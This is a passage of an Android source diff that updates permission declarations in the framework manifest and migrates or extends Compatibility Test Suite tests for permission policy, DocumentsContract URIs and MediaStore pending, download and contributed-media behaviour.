to ensure that only the system can bind to it.
@SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
<p>Protection level: signature
-->
- <permission android:name="android.permission.BIND_INTELLIGENCE_SERVICE"
+ <permission android:name="android.permission.BIND_CONTENT_CAPTURE_SERVICE"
+ android:protectionLevel="signature" />
+
+ <!-- Must be required by a android.service.autofill.augmented.AugmentedAutofillService,
+ to ensure that only the system can bind to it.
+ @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
+ <p>Protection level: signature
+ -->
+ <permission android:name="android.permission.BIND_AUGMENTED_AUTOFILL_SERVICE"
android:protectionLevel="signature" />
<!-- Must be required by hotword enrollment application,
@@ -2954,6 +3097,13 @@
<permission android:name="android.permission.BIND_TV_INPUT"
android:protectionLevel="signature|privileged" />
+ <!-- Must be required by an {@link android.service.sms.FinancialSmsService}
+ to ensure that only the system can bind to it.
+ @hide This is not a third-party API (intended for OEMs and system apps).
+ -->
+ <permission android:name="android.permission.BIND_FINANCIAL_SMS_SERVICE"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi
Must be required by a {@link com.android.media.tv.remoteprovider.TvRemoteProvider}
to ensure that only the system can bind to it.
@@ -3209,6 +3359,11 @@
<permission android:name="android.permission.MANAGE_ROLE_HOLDERS"
android:protectionLevel="signature|installer" />
+ <!-- @SystemApi Allows an application to observe role holder changes.
+ @hide -->
+ <permission android:name="android.permission.OBSERVE_ROLE_HOLDERS"
+ android:protectionLevel="signature|installer" />
+
<!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
<p>Not for use by third-party applications.
@hide
@@ -3260,6 +3415,13 @@
<permission android:name="android.permission.CONTROL_DISPLAY_SATURATION"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to control display color transformations.
+ <p>Not for use by third-party applications.</p>
+ @hide
+ @SystemApi -->
+ <permission android:name="android.permission.CONTROL_DISPLAY_COLOR_TRANSFORMS"
+ android:protectionLevel="signature|privileged" />
+
<!-- Allows an application to collect usage infomation about brightness slider changes.
<p>Not for use by third-party applications.</p>
@hide
@@ -3309,7 +3471,7 @@
<p>Not for use by third-party applications.</p>
@hide -->
<permission android:name="android.permission.MODIFY_AUDIO_ROUTING"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to modify what effects are applied to all audio
(matching certain criteria) from any application.
@@ -3318,13 +3480,17 @@
<permission android:name="android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS"
android:protectionLevel="signature|privileged" />
- <!-- @SystemApi Allows an application to capture video output.
- <p>Not for use by third-party applications.</p> -->
+ <!-- Allows an application to capture video output.
+ <p>Not for use by third-party applications.</p>
+ @hide
+ @removed -->
<permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT"
android:protectionLevel="signature|privileged" />
- <!-- @SystemApi Allows an application to capture secure video output.
- <p>Not for use by third-party applications.</p> -->
+ <!-- Allows an application to capture secure video output.
+ <p>Not for use by third-party applications.</p>
+ @hide
+ @removed -->
<permission android:name="android.permission.CAPTURE_SECURE_VIDEO_OUTPUT"
android:protectionLevel="signature|privileged" />
@@ -3368,7 +3534,7 @@
android:protectionLevel="signature" />
<!-- Allows toggling battery saver on the system.
- Superseded by DEVICE_POWER permission. @hide @SystemApi
+ Superseded by DEVICE_POWER permission. @hide @SystemApi
-->
<permission android:name="android.permission.POWER_SAVER"
android:protectionLevel="signature|privileged" />
@@ -3940,10 +4106,10 @@
confirmation UI for full backup/restore -->
<uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>
- <!-- Allows the holder to access and manage instant applications on the device.
- @hide -->
+ <!-- @SystemApi Allows the holder to access and manage instant applications on the device.
+ @hide -->
<permission android:name="android.permission.ACCESS_INSTANT_APPS"
- android:protectionLevel="signature|installer|verifier" />
+ android:protectionLevel="signature|installer|verifier|wellbeing" />
<uses-permission android:name="android.permission.ACCESS_INSTANT_APPS"/>
<!-- Allows the holder to view the instant applications on the device.
@@ -4039,6 +4205,11 @@
<permission android:name="android.permission.MANAGE_AUTO_FILL"
android:protectionLevel="signature" />
+ <!-- @SystemApi Allows an application to manage the content capture service.
+ @hide <p>Not for use by third-party applications.</p> -->
+ <permission android:name="android.permission.MANAGE_CONTENT_CAPTURE"
+ android:protectionLevel="signature" />
+
<!-- Allows an app to set the theme overlay in /vendor/overlay
being used.
@hide <p>Not for use by third-party applications.</p> -->
@@ -4110,8 +4281,8 @@
android:protectionLevel="signature" />
<!-- @hide Permission that protects the
- {@link android.provider.Telephony.Intents#ACTION_DEFAULT_SMS_PACKAGE_CHANGED_INTERNAL}
- broadcast -->
+ {@link android.provider.Telephony.Intents#ACTION_DEFAULT_SMS_PACKAGE_CHANGED_INTERNAL}
+ broadcast -->
<permission android:name="android.permission.MONITOR_DEFAULT_SMS_PACKAGE"
android:protectionLevel="signature" />
@@ -4120,7 +4291,7 @@
android:protectionLevel="signature" />
<!-- @hide Permission that allows background clipboard access.
- <p>Not for use by third-party applications. -->
+ <p>Not for use by third-party applications. -->
<permission android:name="android.permission.READ_CLIPBOARD_IN_BACKGROUND"
android:protectionLevel="signature" />
@@ -4135,6 +4306,32 @@
<permission android:name="android.permission.GRANT_PROFILE_OWNER_DEVICE_IDS_ACCESS"
android:protectionLevel="signature" />
+ <!-- Allows financial apps to read filtered sms messages. -->
+ <permission android:name="android.permission.SMS_FINANCIAL_TRANSACTIONS"
+ android:protectionLevel="signature|appop" />
+
+ <!-- Required for apps targeting {@link android.os.Build.VERSION_CODES#P} that want to use
+ {@link android.app.Notification.Builder#setFullScreenIntent notification full screen
+ intents}. -->
+ <permission android:name="android.permission.USE_FULL_SCREEN_INTENT"
+ android:protectionLevel="normal" />
+
+ <!-- @SystemApi Allows requesting the framework broadcast the
+ {@link Intent#ACTION_DEVICE_CUSTOMIZATION_READY} intent.
+ @hide -->
+ <permission android:name="android.permission.SEND_DEVICE_CUSTOMIZATION_READY"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- @SystemApi Permission that protects the {@link Intent#ACTION_DEVICE_CUSTOMIZATION_READY}
+ intent.
+ @hide -->
+ <permission android:name="android.permission.RECEIVE_DEVICE_CUSTOMIZATION_READY"
+ android:protectionLevel="signature|preinstalled" />
+ <!-- @SystemApi Allows wallpaper to be rendered in ambient mode.
+ @hide -->
+ <permission android:name="android.permission.AMBIENT_WALLPAPER"
+ android:protectionLevel="signature|preinstalled" />
+
<application android:process="system"
android:persistent="true"
android:hasCode="false"
@@ -4290,7 +4487,7 @@
</activity>
<activity android:name="com.android.internal.app.NetInitiatedActivity"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+ android:theme="@style/Theme.Dialog.Confirmation"
android:excludeFromRecents="true"
android:process=":ui">
</activity>
@@ -4311,7 +4508,7 @@
<activity android:name="com.android.internal.app.ConfirmUserCreationActivity"
android:excludeFromRecents="true"
android:process=":ui"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert">
+ android:theme="@style/Theme.Dialog.Confirmation">
<intent-filter android:priority="1000">
<action android:name="android.os.action.CREATE_USER" />
<category android:name="android.intent.category.DEFAULT" />
@@ -4319,24 +4516,24 @@
</activity>
<activity android:name="com.android.internal.app.SuspendedAppActivity"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+ android:theme="@style/Theme.Dialog.Confirmation"
android:excludeFromRecents="true"
android:process=":ui">
</activity>
<activity android:name="com.android.internal.app.UnlaunchableAppActivity"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+ android:theme="@style/Theme.Dialog.Confirmation"
android:excludeFromRecents="true"
android:process=":ui">
</activity>
<activity android:name="com.android.settings.notification.NotificationAccessConfirmationActivity"
- android:theme="@android:style/Theme.DeviceDefault.Light.Dialog.Alert"
+ android:theme="@style/Theme.Dialog.Confirmation"
android:excludeFromRecents="true">
</activity>
<activity android:name="com.android.internal.app.HarmfulAppWarningActivity"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+ android:theme="@style/Theme.Dialog.Confirmation"
android:excludeFromRecents="true"
android:process=":ui"
android:label="@string/harmful_app_warning_title"
@@ -4422,6 +4619,14 @@
</intent-filter>
</receiver>
+ <receiver android:name="com.android.server.updates.ConversationActionsInstallReceiver"
+ android:permission="android.permission.UPDATE_CONFIG">
+ <intent-filter>
+ <action android:name="android.intent.action.ACTION_UPDATE_CONVERSATION_ACTIONS" />
+ <data android:scheme="content" android:host="*" android:mimeType="*/*" />
+ </intent-filter>
+ </receiver>
+
<receiver android:name="com.android.server.updates.CarrierIdInstallReceiver"
android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
@@ -4446,18 +4651,17 @@
</intent-filter>
</receiver>
+ <receiver android:name="com.android.server.WallpaperUpdateReceiver"
+ android:permission="android.permission.RECEIVE_DEVICE_CUSTOMIZATION_READY">
+ <intent-filter>
+ <action android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY"/>
+ </intent-filter>
+ </receiver>
+
<service android:name="android.hardware.location.GeofenceHardwareService"
android:permission="android.permission.LOCATION_HARDWARE"
android:exported="false" />
- <service android:name="com.android.localtransport.LocalTransportService"
- android:permission="android.permission.CONFIRM_FULL_BACKUP"
- android:exported="false">
- <intent-filter>
- <action android:name="android.backup.TRANSPORT_HOST" />
- </intent-filter>
- </service>
-
<service android:name="com.android.server.MountServiceIdler"
android:exported="true"
android:permission="android.permission.BIND_JOB_SERVICE" >
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 9a85787..6916f83 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -24,6 +24,7 @@
import android.content.pm.PackageManager.NameNotFoundException;
import android.content.pm.PermissionGroupInfo;
import android.content.pm.PermissionInfo;
+import android.os.storage.StorageManager;
import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.text.TextUtils;
@@ -39,6 +40,7 @@
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
+import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Objects;
@@ -215,6 +217,24 @@
}
}
}
+
+ // STOPSHIP: remove this once isolated storage is always enabled
+ if (!StorageManager.hasIsolatedStorage()) {
+ Iterator<PermissionInfo> it = permissions.iterator();
+ while (it.hasNext()) {
+ final PermissionInfo pi = it.next();
+ switch (pi.name) {
+ case android.Manifest.permission.READ_MEDIA_AUDIO:
+ case android.Manifest.permission.READ_MEDIA_VIDEO:
+ case android.Manifest.permission.READ_MEDIA_IMAGES:
+ case android.Manifest.permission.ACCESS_MEDIA_LOCATION:
+ case android.Manifest.permission.WRITE_OBB:
+ it.remove();
+ break;
+ }
+ }
+ }
+
return permissions;
}
@@ -292,6 +312,12 @@
case "textClassifier": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM_TEXT_CLASSIFIER;
} break;
+ case "wellbeing": {
+ protectionLevel |= PermissionInfo.PROTECTION_FLAG_WELLBEING;
+ } break;
+ case "documenter": {
+ protectionLevel |= PermissionInfo.PROTECTION_FLAG_DOCUMENTER;
+ } break;
case "instant": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_INSTANT;
} break;
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index 0d8d088..cfe0c6f 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -18,7 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.provider.cts">
- <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="21" />
+ <uses-sdk android:targetSdkVersion="28" />
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
@@ -86,6 +86,10 @@
android:exported="false"
android:multiprocess="true" />
+ <provider android:name="android.provider.cts.TestSRSProvider"
+ android:authorities="android.provider.cts.TestSRSProvider"
+ android:exported="false" />
+
<service
android:name="android.provider.cts.contacts.StubInCallService"
android:permission="android.permission.BIND_INCALL_SERVICE">
diff --git a/tests/tests/provider/res/raw/volantis.jpg b/tests/tests/provider/res/raw/volantis.jpg
new file mode 100644
index 0000000..cfe300f
--- /dev/null
+++ b/tests/tests/provider/res/raw/volantis.jpg
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java b/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java
new file mode 100644
index 0000000..6d2f7cb
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.net.Uri;
+import android.provider.DocumentsContract;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DocumentsContractTest {
+ @Test
+ public void testDocumentUri() {
+ final String auth = "com.example";
+ final String docId = "doc:12";
+
+ final Uri uri = DocumentsContract.buildDocumentUri(auth, docId);
+ assertEquals(auth, uri.getAuthority());
+ assertEquals(docId, DocumentsContract.getDocumentId(uri));
+ assertFalse(DocumentsContract.isTreeUri(uri));
+ }
+
+ @Test
+ public void testTreeDocumentUri() {
+ final String auth = "com.example";
+ final String treeId = "doc:12";
+ final String leafId = "doc:24";
+
+ final Uri treeUri = DocumentsContract.buildTreeDocumentUri(auth, treeId);
+ assertEquals(auth, treeUri.getAuthority());
+ assertEquals(treeId, DocumentsContract.getTreeDocumentId(treeUri));
+ assertTrue(DocumentsContract.isTreeUri(treeUri));
+
+ final Uri leafUri = DocumentsContract.buildDocumentUriUsingTree(treeUri, leafId);
+ assertEquals(auth, leafUri.getAuthority());
+ assertEquals(treeId, DocumentsContract.getTreeDocumentId(leafUri));
+ assertEquals(leafId, DocumentsContract.getDocumentId(leafUri));
+ assertTrue(DocumentsContract.isTreeUri(leafUri));
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java
index 21d4727..0b1dad8 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java
@@ -16,11 +16,18 @@
package android.provider.cts;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
import android.content.Intent;
import android.content.pm.ResolveInfo;
import android.net.Uri;
import android.provider.MediaStore;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.List;
@@ -28,45 +35,52 @@
* Tests to verify that common actions on {@link MediaStore} content are
* available.
*/
-public class MediaStoreIntentsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStoreIntentsTest {
public void assertCanBeHandled(Intent intent) {
- List<ResolveInfo> resolveInfoList = getContext()
+ List<ResolveInfo> resolveInfoList = InstrumentationRegistry.getTargetContext()
.getPackageManager().queryIntentActivities(intent, 0);
assertNotNull("Missing ResolveInfo", resolveInfoList);
assertTrue("No ResolveInfo found for " + intent.toString(),
resolveInfoList.size() > 0);
}
+ @Test
public void testPickImageDir() {
Intent intent = new Intent(Intent.ACTION_PICK);
intent.setData(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
assertCanBeHandled(intent);
}
+ @Test
public void testPickVideoDir() {
Intent intent = new Intent(Intent.ACTION_PICK);
intent.setData(MediaStore.Video.Media.EXTERNAL_CONTENT_URI);
assertCanBeHandled(intent);
}
+ @Test
public void testPickAudioDir() {
Intent intent = new Intent(Intent.ACTION_PICK);
intent.setData(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI);
assertCanBeHandled(intent);
}
+ @Test
public void testViewImageDir() {
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
assertCanBeHandled(intent);
}
+ @Test
public void testViewVideoDir() {
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(MediaStore.Video.Media.EXTERNAL_CONTENT_URI);
assertCanBeHandled(intent);
}
+ @Test
public void testViewImageFile() {
final String[] schemes = new String[] {
"file", "http", "https", "content" };
@@ -87,6 +101,7 @@
}
}
+ @Test
public void testViewVideoFile() {
final String[] schemes = new String[] {
"file", "http", "https", "content" };
@@ -105,6 +120,7 @@
}
}
+ @Test
public void testViewAudioFile() {
final String[] schemes = new String[] {
"file", "http", "content" };
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java b/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java
index 30fada8..40ce7a8 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java
@@ -64,6 +64,7 @@
private Uri mExternalAudio = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;
private Uri mExternalVideo = MediaStore.Video.Media.EXTERNAL_CONTENT_URI;
private Uri mExternalImages = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+ private Uri mExternalDownloads = MediaStore.Downloads.EXTERNAL_CONTENT_URI;
@Before
public void setUp() throws Exception {
@@ -77,9 +78,18 @@
@Test
public void testSimple_Success() throws Exception {
+ verifySuccessfulImageInsertion(mExternalImages, Environment.DIRECTORY_PICTURES);
+ }
+
+ @Test
+ public void testSimpleDownload_Success() throws Exception {
+ verifySuccessfulImageInsertion(mExternalDownloads, Environment.DIRECTORY_DOWNLOADS);
+ }
+
+ private void verifySuccessfulImageInsertion(Uri insertUri, String expectedDestDir)
+ throws Exception {
final String displayName = "cts" + System.nanoTime();
- final Uri insertUri = mExternalImages;
final MediaStore.PendingParams params = new MediaStore.PendingParams(
insertUri, displayName, "image/png");
@@ -100,7 +110,7 @@
final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
try {
try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
- OutputStream out = session.openOutputStream()) {
+ OutputStream out = session.openOutputStream()) {
FileUtils.copy(in, out);
}
publishUri = session.publish();
@@ -120,7 +130,7 @@
// Make sure our raw filename looks sane
final File rawFile = getRawFile(publishUri);
assertEquals(displayName + ".png", rawFile.getName());
- assertEquals(Environment.DIRECTORY_PICTURES, rawFile.getParentFile().getName());
+ assertEquals(expectedDestDir, rawFile.getParentFile().getName());
// Make sure file actually exists
getRawFileHash(rawFile);
@@ -209,6 +219,12 @@
assertNotCreatePending(new PendingParams(mExternalImages, displayName, "audio/ogg"));
assertNotCreatePending(new PendingParams(mExternalImages, displayName, "video/ogg"));
assertCreatePending(new PendingParams(mExternalImages, displayName, "image/png"));
+
+ assertCreatePending(new PendingParams(mExternalDownloads, displayName, "audio/ogg"));
+ assertCreatePending(new PendingParams(mExternalDownloads, displayName, "video/ogg"));
+ assertCreatePending(new PendingParams(mExternalDownloads, displayName, "image/png"));
+ assertCreatePending(new PendingParams(mExternalDownloads, displayName,
+ "application/pdf"));
}
@Test
@@ -245,11 +261,15 @@
Arrays.asList(Environment.DIRECTORY_MOVIES, Environment.DIRECTORY_DCIM));
final Set<String> allowedImages = new HashSet<>(
Arrays.asList(Environment.DIRECTORY_PICTURES, Environment.DIRECTORY_DCIM));
+ final Set<String> allowedDownloads = new HashSet<>(
+ Arrays.asList(Environment.DIRECTORY_DOWNLOADS));
final Set<String> everything = new HashSet<>();
everything.addAll(allowedAudio);
everything.addAll(allowedVideo);
everything.addAll(allowedImages);
+ everything.addAll(allowedDownloads);
+ everything.add(Environment.DIRECTORY_DOCUMENTS);
{
final PendingParams params = new PendingParams(mExternalAudio,
@@ -287,6 +307,18 @@
}
}
}
+ {
+ final PendingParams params = new PendingParams(mExternalDownloads,
+ displayName, "video/ogg");
+ for (String dir : everything) {
+ params.setPrimaryDirectory(dir);
+ if (allowedDownloads.contains(dir)) {
+ assertCreatePending(params);
+ } else {
+ assertNotCreatePending(dir, params);
+ }
+ }
+ }
}
@Test
@@ -309,6 +341,13 @@
displayName, "video/ogg"), R.raw.scenery);
assertEquals(Environment.DIRECTORY_MOVIES, getRawFile(uri).getParentFile().getName());
}
+ {
+ final String displayName = "cts" + System.nanoTime();
+ final Uri uri = execPending(new PendingParams(mExternalDownloads,
+ displayName, "image/png"), R.raw.scenery);
+ assertEquals(Environment.DIRECTORY_DOWNLOADS,
+ getRawFile(uri).getParentFile().getName());
+ }
}
@Test
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java
index 7886485..bd188bc 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java
@@ -17,29 +17,49 @@
package android.provider.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import android.app.usage.StorageStatsManager;
import android.content.ContentResolver;
+import android.content.ContentUris;
import android.content.ContentValues;
import android.content.Context;
+import android.content.res.AssetFileDescriptor;
import android.database.Cursor;
+import android.media.MediaScanner;
import android.net.Uri;
+import android.os.Environment;
+import android.os.storage.StorageManager;
import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
+import libcore.util.HexEncoding;
+
import org.junit.After;
+import org.junit.Assume;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.io.File;
+import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.HashSet;
import java.util.Set;
+import java.util.UUID;
@RunWith(AndroidJUnit4.class)
public class MediaStoreTest {
private static final String TEST_VOLUME_NAME = "volume_for_cts";
+ private static final long SIZE_DELTA = 32_000;
+
private static final String[] PROJECTION = new String[] { MediaStore.MEDIA_SCANNER_VOLUME };
private Uri mScannerUri;
@@ -56,6 +76,7 @@
public void setUp() throws Exception {
mScannerUri = MediaStore.getMediaScannerUri();
mContentResolver = getContext().getContentResolver();
+
Cursor c = mContentResolver.query(mScannerUri, PROJECTION, null, null, null);
if (c != null) {
c.moveToFirst();
@@ -66,6 +87,9 @@
@After
public void tearDown() throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+
// restore initial values
if (mVolumnBackup != null) {
ContentValues values = new ContentValues();
@@ -116,4 +140,135 @@
assertTrue(volumeNames.contains("internal"));
assertTrue(volumeNames.contains("external"));
}
+
+ @Test
+ public void testContributedMedia() throws Exception {
+ // STOPSHIP: remove this once isolated storage is always enabled
+ Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+ android.Manifest.permission.CLEAR_APP_USER_DATA,
+ android.Manifest.permission.PACKAGE_USAGE_STATS);
+
+ // Measure usage before
+ final long beforePackage = getExternalPackageSize();
+ final long beforeTotal = getExternalTotalSize();
+ final long beforeContributed = MediaStore.getContributedMediaSize(getContext(),
+ getContext().getPackageName(), android.os.Process.myUserHandle());
+
+ final long stageSize;
+ try (AssetFileDescriptor fd = getContext().getResources()
+ .openRawResourceFd(R.raw.volantis)) {
+ stageSize = fd.getLength();
+ }
+
+ // Create media both inside and outside sandbox
+ final Uri inside;
+ final Uri outside;
+ final File file = new File(getContext().getExternalMediaDirs()[0],
+ "cts" + System.nanoTime());
+ ProviderTestUtils.stageFile(R.raw.volantis, file);
+ try (MediaScanner scanner = new MediaScanner(getContext(), "external")) {
+ inside = scanner.scanSingleFile(file.getAbsolutePath(), "image/jpeg");
+ }
+ outside = ProviderTestUtils.stageMedia(R.raw.volantis,
+ MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+
+ {
+ final HashSet<Long> visible = getVisibleIds(
+ MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+ assertTrue(visible.contains(ContentUris.parseId(inside)));
+ assertTrue(visible.contains(ContentUris.parseId(outside)));
+
+ final long afterPackage = getExternalPackageSize();
+ final long afterTotal = getExternalTotalSize();
+ final long afterContributed = MediaStore.getContributedMediaSize(getContext(),
+ getContext().getPackageName(), android.os.Process.myUserHandle());
+
+ assertMostlyEquals(beforePackage + stageSize, afterPackage, SIZE_DELTA);
+ assertMostlyEquals(beforeTotal + stageSize + stageSize, afterTotal, SIZE_DELTA);
+ assertMostlyEquals(beforeContributed + stageSize, afterContributed, SIZE_DELTA);
+ }
+
+ // Delete only contributed items
+ MediaStore.deleteContributedMedia(getContext(), getContext().getPackageName(),
+ android.os.Process.myUserHandle());
+ {
+ final HashSet<Long> visible = getVisibleIds(
+ MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+ assertTrue(visible.contains(ContentUris.parseId(inside)));
+ assertFalse(visible.contains(ContentUris.parseId(outside)));
+
+ final long afterPackage = getExternalPackageSize();
+ final long afterTotal = getExternalTotalSize();
+ final long afterContributed = MediaStore.getContributedMediaSize(getContext(),
+ getContext().getPackageName(), android.os.Process.myUserHandle());
+
+ assertMostlyEquals(beforePackage + stageSize, afterPackage, SIZE_DELTA);
+ assertMostlyEquals(beforeTotal + stageSize, afterTotal, SIZE_DELTA);
+ assertMostlyEquals(beforeContributed, afterContributed, SIZE_DELTA);
+ }
+ }
+
+ @Test
+ public void testHash() throws Exception {
+ final ContentResolver resolver = getContext().getContentResolver();
+
+ final Uri uri = ProviderTestUtils.stageMedia(R.raw.volantis,
+ MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+
+ final String expected = Arrays
+ .toString(HexEncoding.decode("dd41258ce8d306163f3b727603cb064be81973db"));
+
+ // We can force hash to be generated by requesting canonicalization
+ resolver.canonicalize(uri);
+ try (Cursor c = resolver.query(uri, new String[] { MediaColumns.HASH }, null, null)) {
+ assertTrue(c.moveToFirst());
+ assertEquals(expected, Arrays.toString(c.getBlob(0)));
+ }
+
+ // Make sure that editing image results in a different hash
+ try (OutputStream out = resolver.openOutputStream(uri)) {
+ out.write(42);
+ }
+ try (Cursor c = resolver.query(uri, new String[] { MediaColumns.HASH }, null, null)) {
+ assertTrue(c.moveToFirst());
+ assertNotEquals(expected, Arrays.toString(c.getBlob(0)));
+ }
+ }
+
+ private long getExternalPackageSize() throws Exception {
+ final StorageManager storage = getContext().getSystemService(StorageManager.class);
+ final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+
+ final UUID externalUuid = storage.getUuidForPath(Environment.getExternalStorageDirectory());
+ return stats.queryStatsForPackage(externalUuid, getContext().getPackageName(),
+ android.os.Process.myUserHandle()).getDataBytes();
+ }
+
+ private long getExternalTotalSize() throws Exception {
+ final StorageManager storage = getContext().getSystemService(StorageManager.class);
+ final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+
+ final UUID externalUuid = storage.getUuidForPath(Environment.getExternalStorageDirectory());
+ return stats.queryExternalStatsForUser(externalUuid, android.os.Process.myUserHandle())
+ .getTotalBytes();
+ }
+
+ private HashSet<Long> getVisibleIds(Uri collectionUri) {
+ final HashSet<Long> res = new HashSet<>();
+ try (Cursor c = mContentResolver.query(collectionUri,
+ new String[] { MediaColumns._ID }, null, null)) {
+ while (c.moveToNext()) {
+ res.add(c.getLong(0));
+ }
+ }
+ return res;
+ }
+
+ private static void assertMostlyEquals(long expected, long actual, long delta) {
+ if (Math.abs(expected - actual) > delta) {
+ fail("Expected roughly " + expected + " but was " + actual);
+ }
+ }
}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java
index 79118dd..155e314 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java
@@ -16,20 +16,26 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
import android.provider.MediaStore.Audio;
+import android.support.test.runner.AndroidJUnit4;
-import junit.framework.TestCase;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
-public class MediaStore_AudioTest extends TestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_AudioTest {
private String mKeyForBeatles;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mKeyForBeatles = Audio.keyFor("beatles");
}
+ @Test
public void testKeyFor() {
assertEquals(mKeyForBeatles, Audio.keyFor("[beatles]"));
assertEquals(mKeyForBeatles, Audio.keyFor("(beatles)"));
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
index 9c9d9ca..609604f 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
